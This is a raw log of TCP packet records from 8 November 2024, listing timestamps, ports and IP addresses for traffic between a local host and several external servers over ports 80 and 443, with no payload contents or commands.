Nov 8, 2024 15:21:15.375045061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.375082970 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.375171900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.375184059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.375195026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.375219107 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.375235081 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.375329018 CET	443	49817	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:15.388150930 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388178110 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388186932 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388215065 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388225079 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388235092 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388248920 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.388267040 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388278961 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.388304949 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.388338089 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.388407946 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388426065 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388434887 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388463974 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388477087 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388484955 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388499022 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.388529062 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.388544083 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.388544083 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.388582945 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.390228033 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.390248060 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.390292883 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.390300989 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.390312910 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.390341043 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.390391111 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.390455008 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.390702009 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.390721083 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.390752077 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.390777111 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.390784025 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.390795946 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.395323038 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:15.395977974 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.396003962 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.396018982 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.396066904 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.396083117 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.396094084 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.396281958 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.397608042 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.397655964 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.397685051 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.397691011 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.397701025 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.397721052 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.398510933 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.398559093 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.415175915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.415185928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.415241957 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.415479898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.415491104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.415502071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.415513039 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.415529013 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.415534019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.415539026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.415555000 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.415568113 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.415625095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.415642023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.415663958 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.415689945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.445821047 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.455554008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.455565929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.455576897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.455640078 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.455640078 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.459429979 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:15.459454060 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:15.459503889 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:15.460063934 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:15.460079908 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:15.496722937 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.496742010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.496797085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.497052908 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.497070074 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.497111082 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.498503923 CET	49826	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:15.498547077 CET	443	49826	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:15.498717070 CET	49826	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:15.499228954 CET	49826	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:15.499239922 CET	443	49826	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:15.503386021 CET	443	49817	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:15.503595114 CET	443	49817	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:15.503638983 CET	49817	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:15.505707026 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.505732059 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.505806923 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.505815029 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.505853891 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.506306887 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.506324053 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.506371021 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.506377935 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.506418943 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.507035017 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.507091045 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.507456064 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.507484913 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.507503986 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.507514954 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.507538080 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.507556915 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.508497953 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.508516073 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.508589983 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.508595943 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.508646011 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.509275913 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.509321928 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.515728951 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.515765905 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.515815020 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.515829086 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.515909910 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.515909910 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.516391993 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.516417027 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.516454935 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.516460896 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.516488075 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.516500950 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.516731024 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.516781092 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.517976046 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.518009901 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.518047094 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.518058062 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.518074989 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.518091917 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.527564049 CET	49817	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:15.527576923 CET	443	49817	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:15.529148102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529174089 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529182911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529215097 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.529252052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.529253006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529266119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529278994 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529290915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529290915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.529315948 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.529351950 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.529476881 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529488087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529494047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529570103 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.529609919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529628038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529644012 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.529668093 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.529706001 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529716015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529773951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.529813051 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.535280943 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.535299063 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.535727978 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:15.535748959 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:15.535799026 CET	49813	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:15.535805941 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:15.536480904 CET	49813	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:15.536508083 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:15.536640882 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:15.536690950 CET	49813	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:15.536704063 CET	49813	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:15.569919109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.569941998 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.569956064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.569967985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.569986105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.570003986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.570014954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.570018053 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.570034027 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.570064068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.570092916 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.570137978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.570149899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.570177078 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.570202112 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.609782934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.609813929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.609824896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.609834909 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.609860897 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.622431993 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.622461081 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.622549057 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.622560978 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.622575998 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.622596979 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.623795986 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.623820066 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.623855114 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.623862028 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.623884916 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.623904943 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.624012947 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.624062061 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.624068022 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.624083996 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.624131918 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.624835968 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.624849081 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.625724077 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.625751972 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.625817060 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.625844955 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.625861883 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.625883102 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.626641989 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.626662016 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.626707077 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.626714945 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.626740932 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.626756907 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.627167940 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.627222061 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.628823996 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.628844976 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.628917933 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.628931046 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.629017115 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.651798964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.651829958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.651890993 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.652046919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.652071953 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.652110100 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.682873011 CET	443	49820	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:15.683137894 CET	49820	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.683161020 CET	443	49820	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:15.684111118 CET	443	49820	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:15.684175014 CET	49820	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.684385061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684400082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684411049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684444904 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.684464931 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.684701920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684714079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684725046 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684760094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.684776068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.684838057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684850931 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684906006 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.684915066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684923887 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684935093 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684941053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684947014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684952974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684962034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684964895 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.684974909 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.684988022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.685018063 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.686697960 CET	49820	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.686772108 CET	443	49820	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:15.725075960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.725102901 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.725115061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.725158930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.725189924 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.725207090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.725245953 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.725277901 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.725291014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.725302935 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.725316048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.725342035 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.730912924 CET	49820	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.730925083 CET	443	49820	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:15.746138096 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.746162891 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.746195078 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.746225119 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.746243000 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.746284962 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.746309996 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.748748064 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.748770952 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.748826027 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.748846054 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.748853922 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.748924971 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.765230894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.765295982 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.765300035 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.765306950 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.765340090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.779196978 CET	49820	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:15.807185888 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.807231903 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.807243109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.807265997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.807300091 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.842820883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.842847109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.842856884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.842921972 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.842978954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.842979908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.842989922 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843002081 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843013048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.843014002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843041897 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.843066931 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.843224049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843240023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843250990 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843259096 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.843262911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843277931 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843281984 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.843317032 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.843543053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843554020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843564987 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.843575001 CET	80	49753	185.215.113.206	192.168.2.8
